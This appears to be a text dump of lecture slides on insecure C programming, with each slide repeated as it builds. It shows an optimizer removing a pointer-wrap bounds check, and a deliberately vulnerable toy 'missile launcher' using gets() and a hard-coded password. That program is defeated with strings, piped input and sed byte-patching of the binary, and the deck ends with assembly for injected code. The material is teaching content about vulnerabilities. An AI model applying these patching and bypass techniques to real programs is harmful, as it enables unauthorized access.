  • 215. 0x00001da0 <poke+0>: push ebp 0x00001da1 <poke+1>: push edi 0x00001da2 <poke+2>: push esi 0x00001da3 <poke+3>: push ebx 0x00001da4 <poke+4>: call 0x1e26 <__x86.get_pc_thunk.bx> 0x00001da9 <poke+9>: sub esp,0x2c 0x00001dac <poke+12>: mov eax,DWORD PTR [esp+0x4c] 0x00001db0 <poke+16>: mov ebp,DWORD PTR [esp+0x40] 0x00001db4 <poke+20>: mov esi,DWORD PTR [esp+0x44] 0x00001db8 <poke+24>: mov edi,DWORD PTR [esp+0x48] 0x00001dbc <poke+28>: mov DWORD PTR [esp+0x1c],eax 0x00001dc0 <poke+32>: lea eax,[ebx+0xf3] 0x00001dc6 <poke+38>: mov DWORD PTR [esp+0x4],ebp 0x00001dca <poke+42>: mov DWORD PTR [esp+0x8],esi 0x00001dce <poke+46>: mov DWORD PTR [esp+0xc],edi 0x00001dd2 <poke+50>: mov DWORD PTR [esp],eax 0x00001dd5 <poke+53>: call 0x1e70 <dyld_stub_printf> 0x00001dda <poke+58>: lea edx,[ebp+esi+0x0] 0x00001dde <poke+62>: lea eax,[ebx+0x10e] 0x00001de4 <poke+68>: cmp edi,edx 0x00001de6 <poke+70>: jbe 0x1e16 <poke+118> 0x00001de8 <poke+72>: test esi,esi 0x00001dea <poke+74>: js 0x1e10 <poke+112> 0x00001dec <poke+76>: movzx ebp,BYTE PTR [esp+0x1c] 0x00001df1 <poke+81>: lea eax,[ebx+0x12b] 0x00001df7 <poke+87>: mov DWORD PTR [esp+0x48],edx 0x00001dfb <poke+91>: mov DWORD PTR [esp+0x40],eax 0x00001dff <poke+95>: mov DWORD PTR [esp+0x44],ebp 0x00001e03 <poke+99>: add esp,0x2c 0x00001e06 <poke+102>: pop ebx 0x00001e07 <poke+103>: pop esi 0x00001e08 <poke+104>: pop edi 0x00001e09 <poke+105>: pop ebp 0x00001e0a <poke+106>: jmp 0x1e70 <dyld_stub_printf> 0x00001e0f <poke+111>: nop 0x00001e10 <poke+112>: lea eax,[ebx+0x121] 0x00001e16 <poke+118>: mov DWORD PTR [esp+0x40],eax 0x00001e1a <poke+122>: add esp,0x2c 0x00001e1d <poke+125>: pop ebx 0x00001e1e <poke+126>: pop esi 0x00001e1f <poke+127>: pop edi 0x00001e20 <poke+128>: pop ebp 0x00001e21 <poke+129>: jmp 0x1e76 <dyld_stub_puts>
  • 216. 0x00001da0 <poke+0>: push ebp 0x00001da1 <poke+1>: push edi 0x00001da2 <poke+2>: push esi 0x00001da3 <poke+3>: push ebx 0x00001da4 <poke+4>: call 0x1e26 <__x86.get_pc_thunk.bx> 0x00001da9 <poke+9>: sub esp,0x2c 0x00001dac <poke+12>: mov eax,DWORD PTR [esp+0x4c] 0x00001db0 <poke+16>: mov ebp,DWORD PTR [esp+0x40] 0x00001db4 <poke+20>: mov esi,DWORD PTR [esp+0x44] 0x00001db8 <poke+24>: mov edi,DWORD PTR [esp+0x48] 0x00001dbc <poke+28>: mov DWORD PTR [esp+0x1c],eax 0x00001dc0 <poke+32>: lea eax,[ebx+0xf3] 0x00001dc6 <poke+38>: mov DWORD PTR [esp+0x4],ebp 0x00001dca <poke+42>: mov DWORD PTR [esp+0x8],esi 0x00001dce <poke+46>: mov DWORD PTR [esp+0xc],edi 0x00001dd2 <poke+50>: mov DWORD PTR [esp],eax 0x00001dd5 <poke+53>: call 0x1e70 <dyld_stub_printf> 0x00001dda <poke+58>: lea edx,[ebp+esi+0x0] 0x00001dde <poke+62>: lea eax,[ebx+0x10e] 0x00001de4 <poke+68>: cmp edi,edx 0x00001de6 <poke+70>: jbe 0x1e16 <poke+118> 0x00001de8 <poke+72>: test esi,esi 0x00001dea <poke+74>: js 0x1e10 <poke+112> 0x00001dec <poke+76>: movzx ebp,BYTE PTR [esp+0x1c] 0x00001df1 <poke+81>: lea eax,[ebx+0x12b] 0x00001df7 <poke+87>: mov DWORD PTR [esp+0x48],edx 0x00001dfb <poke+91>: mov DWORD PTR [esp+0x40],eax 0x00001dff <poke+95>: mov DWORD PTR [esp+0x44],ebp 0x00001e03 <poke+99>: add esp,0x2c 0x00001e06 <poke+102>: pop ebx 0x00001e07 <poke+103>: pop esi 0x00001e08 <poke+104>: pop edi 0x00001e09 <poke+105>: pop ebp 0x00001e0a <poke+106>: jmp 0x1e70 <dyld_stub_printf> 0x00001e0f <poke+111>: nop 0x00001e10 <poke+112>: lea eax,[ebx+0x121] 0x00001e16 <poke+118>: mov DWORD PTR [esp+0x40],eax 0x00001e1a <poke+122>: add esp,0x2c 0x00001e1d <poke+125>: pop ebx 0x00001e1e <poke+126>: pop esi 0x00001e1f <poke+127>: pop edi 0x00001e20 <poke+128>: pop ebp 0x00001e21 <poke+129>: jmp 0x1e76 <dyld_stub_puts> Here is the machine code generated by the compiler.The essence is that...
  • 217. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0 ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1 ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2 ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3 void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... }
  • 218. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0 ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1 ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2 ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3 void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } When the optimizer kicked in, this happened...
  • 219. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0 ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1 ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2 ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3 void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... }
  • 220. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0 ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1 ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2 ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3 void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Perhaps a bit surprising?
  • 221. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0 ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1 ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2 ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3 void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Perhaps a bit surprising? Inconceivable!
  • 222. $ cc -m32 -O2 poke.c poke_main.c && ./a.out ptr=0xfffffffa offset=00000000 end=0xfffffffd --> poke 42 into 0xfffffffa ptr=0xfffffffa offset=00000001 end=0xfffffffd --> poke 42 into 0xfffffffb ptr=0xfffffffa offset=00000002 end=0xfffffffd --> poke 42 into 0xfffffffc ptr=0xfffffffa offset=00000003 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000004 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000005 end=0xfffffffd --> out of bounds ptr=0xfffffffa offset=00000006 end=0xfffffffd --> poke 42 into 0x0 ptr=0xfffffffa offset=00000007 end=0xfffffffd --> poke 42 into 0x1 ptr=0xfffffffa offset=00000008 end=0xfffffffd --> poke 42 into 0x2 ptr=0xfffffffa offset=00000009 end=0xfffffffd --> poke 42 into 0x3 void poke(unsigned char * ptr, size_t offset, unsigned char * end, unsigned char value) { printf("ptr=%p offset=%.8zx end=%p", ptr, offset, end); if (ptr + offset >= end) { printf(" --> out of boundsn"); return; } if (ptr + offset < ptr) { printf(" --> wrapn"); return; } printf(" --> poke %d into %pn", value, ptr + offset); // TODO: implement this... } Perhaps a bit surprising? Inconceivable! Now we have a function that was supposed to be safe, but due to new optimization rules it turned into a general purpose function for poking data into memory.
  • 225. Let us revisit our initial program.
  • 226. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } Let us revisit our initial program.
  • 227. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } You might try to fix this program by replacing gets() with fgets() and add all the security flags to the compiler and enable all protection mechanisms in the operating system. Let us revisit our initial program.
  • 228. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } You might try to fix this program by replacing gets() with fgets() and add all the security flags to the compiler and enable all protection mechanisms in the operating system. But do not forget about the simplest ways to hack into this program if you have access to the executable binary. Let us revisit our initial program.
  • 229. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } You might try to fix this program by replacing gets() with fgets() and add all the security flags to the compiler and enable all protection mechanisms in the operating system. But do not forget about the simplest ways to hack into this program if you have access to the executable binary. $ strings ./launch ... Launching %d missiles Secret: Joshua Access granted Access denied WarGames MissileLauncher v0.1 Operation complete ... $ echo "Joshua" | ./launch WarGames MissileLauncher v0.1 Secret: Access granted Launching 2 missiles Operation complete $ Let us revisit our initial program.
  • 230. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); }
  • 231. If you disassemble the file you can easily find the n_missiles and allowaccess variable. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); }
  • 232. If you disassemble the file you can easily find the n_missiles and allowaccess variable. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } And then just change the initialization of these variables.
  • 233. If you disassemble the file you can easily find the n_missiles and allowaccess variable. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } $ objdump -M intel -d ./launch ... <authenticate_and_launch>: 55 push ebp 89 e5 mov ebp,esp 83 ec 38 sub esp,0x38 65 a1 14 00 00 00 mov eax,gs:0x14 89 45 f4 mov DWORD PTR [ebp-0xc],eax 31 c0 xor eax,eax c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2 c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0 ... $ cp ./launch ./launch_mod $ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod $ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod $ ./launch_mod WarGames MissileLauncher v0.1 Secret: Foo Access granted Launching 42 missiles Operation complete $ And then just change the initialization of these variables.
  • 234. If you disassemble the file you can easily find the n_missiles and allowaccess variable. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } $ objdump -M intel -d ./launch ... <authenticate_and_launch>: 55 push ebp 89 e5 mov ebp,esp 83 ec 38 sub esp,0x38 65 a1 14 00 00 00 mov eax,gs:0x14 89 45 f4 mov DWORD PTR [ebp-0xc],eax 31 c0 xor eax,eax c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2 c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0 ... $ cp ./launch ./launch_mod $ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod $ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod $ ./launch_mod WarGames MissileLauncher v0.1 Secret: Foo Access granted Launching 42 missiles Operation complete $ And then just change the initialization of these variables.
  • 235. If you disassemble the file you can easily find the n_missiles and allowaccess variable. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } $ objdump -M intel -d ./launch ... <authenticate_and_launch>: 55 push ebp 89 e5 mov ebp,esp 83 ec 38 sub esp,0x38 65 a1 14 00 00 00 mov eax,gs:0x14 89 45 f4 mov DWORD PTR [ebp-0xc],eax 31 c0 xor eax,eax c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2 c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0 ... $ cp ./launch ./launch_mod $ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod $ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod $ ./launch_mod WarGames MissileLauncher v0.1 Secret: Foo Access granted Launching 42 missiles Operation complete $ And then just change the initialization of these variables.
  • 236. If you disassemble the file you can easily find the n_missiles and allowaccess variable. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } $ objdump -M intel -d ./launch ... <authenticate_and_launch>: 55 push ebp 89 e5 mov ebp,esp 83 ec 38 sub esp,0x38 65 a1 14 00 00 00 mov eax,gs:0x14 89 45 f4 mov DWORD PTR [ebp-0xc],eax 31 c0 xor eax,eax c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2 c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0 ... $ cp ./launch ./launch_mod $ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod $ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod $ ./launch_mod WarGames MissileLauncher v0.1 Secret: Foo Access granted Launching 42 missiles Operation complete $ And then just change the initialization of these variables.
  • 237. If you disassemble the file you can easily find the n_missiles and allowaccess variable. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } $ objdump -M intel -d ./launch ... <authenticate_and_launch>: 55 push ebp 89 e5 mov ebp,esp 83 ec 38 sub esp,0x38 65 a1 14 00 00 00 mov eax,gs:0x14 89 45 f4 mov DWORD PTR [ebp-0xc],eax 31 c0 xor eax,eax c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2 c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0 ... $ cp ./launch ./launch_mod $ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod $ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod $ ./launch_mod WarGames MissileLauncher v0.1 Secret: Foo Access granted Launching 42 missiles Operation complete $ And then just change the initialization of these variables.
  • 238. If you disassemble the file you can easily find the n_missiles and allowaccess variable. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } $ objdump -M intel -d ./launch ... <authenticate_and_launch>: 55 push ebp 89 e5 mov ebp,esp 83 ec 38 sub esp,0x38 65 a1 14 00 00 00 mov eax,gs:0x14 89 45 f4 mov DWORD PTR [ebp-0xc],eax 31 c0 xor eax,eax c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2 c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0 ... $ cp ./launch ./launch_mod $ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod $ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod $ ./launch_mod WarGames MissileLauncher v0.1 Secret: Foo Access granted Launching 42 missiles Operation complete $ And then just change the initialization of these variables.
  • 239. If you disassemble the file you can easily find the n_missiles and allowaccess variable. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } $ objdump -M intel -d ./launch ... <authenticate_and_launch>: 55 push ebp 89 e5 mov ebp,esp 83 ec 38 sub esp,0x38 65 a1 14 00 00 00 mov eax,gs:0x14 89 45 f4 mov DWORD PTR [ebp-0xc],eax 31 c0 xor eax,eax c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2 c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0 ... $ cp ./launch ./launch_mod $ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod $ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod $ ./launch_mod WarGames MissileLauncher v0.1 Secret: Foo Access granted Launching 42 missiles Operation complete $ And then just change the initialization of these variables.
  • 240. If you disassemble the file you can easily find the n_missiles and allowaccess variable. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } $ objdump -M intel -d ./launch ... <authenticate_and_launch>: 55 push ebp 89 e5 mov ebp,esp 83 ec 38 sub esp,0x38 65 a1 14 00 00 00 mov eax,gs:0x14 89 45 f4 mov DWORD PTR [ebp-0xc],eax 31 c0 xor eax,eax c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2 c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0 ... $ cp ./launch ./launch_mod $ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod $ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod $ ./launch_mod WarGames MissileLauncher v0.1 Secret: Foo Access granted Launching 42 missiles Operation complete $ And then just change the initialization of these variables.
  • 241. If you disassemble the file you can easily find the n_missiles and allowaccess variable. void launch_missiles(int n) { printf("Launching %d missilesn", n); // TODO: implement this function } void authenticate_and_launch(void) { int n_missiles = 2; bool allowaccess = false; char response[8]; printf("Secret: "); gets(response); if (strcmp(response, "Joshua") == 0) allowaccess = true; if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied"); } int main(void) { puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete"); } $ objdump -M intel -d ./launch ... <authenticate_and_launch>: 55 push ebp 89 e5 mov ebp,esp 83 ec 38 sub esp,0x38 65 a1 14 00 00 00 mov eax,gs:0x14 89 45 f4 mov DWORD PTR [ebp-0xc],eax 31 c0 xor eax,eax c7 45 e8 02 00 00 00 mov DWORD PTR [ebp-0x18],0x2 c6 45 e7 00 mov BYTE PTR [ebp-0x19],0x0 ... $ cp ./launch ./launch_mod $ sed -i "s/xc7x45xe8x02/xc7x45xe8x2a/" ./launch_mod $ sed -i "s/xc6x45xe7x00/xc6x45xe7x01/" ./launch_mod $ ./launch_mod WarGames MissileLauncher v0.1 Secret: Foo Access granted Launching 42 missiles Operation complete $ And then just change the initialization of these variables.
  • 243. void my_authenticate_and_launch(void) { char str[] = "David rocks!"; puts(str); launch_missiles(1983); }
  • 244. void my_authenticate_and_launch(void) { char str[] = "David rocks!"; puts(str); launch_missiles(1983); }
  • 245. void my_authenticate_and_launch(void) { char str[] = "David rocks!"; puts(str); launch_missiles(1983); } 55 push ebp 89 e5 mov ebp,esp 83 ec 28 sub esp,0x28 c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 8d 45 eb lea eax,[ebp-0x15] 89 04 24 mov DWORD PTR [esp],eax e8 8e fe ff ff call 80483d0 <puts@plt> c7 04 24 bf 07 00 00 mov DWORD PTR [esp],0x7bf e8 af ff ff ff call 80484fd <launch_missiles> c9 leave c3 ret
  • 246. void my_authenticate_and_launch(void) { char str[] = "David rocks!"; puts(str); launch_missiles(1983); } 55 push ebp 89 e5 mov ebp,esp 83 ec 28 sub esp,0x28 c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144 c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064 c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63 c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0 8d 45 eb lea eax,[ebp-0x15] 89 04 24 mov DWORD PTR [esp],eax e8 8e fe ff ff call 80483d0 <puts@plt> c7 04 24 bf 07 00 00 mov DWORD PTR [esp],0x7bf e8 af ff ff ff call 80484fd <launch_missiles> c9 leave c3 ret
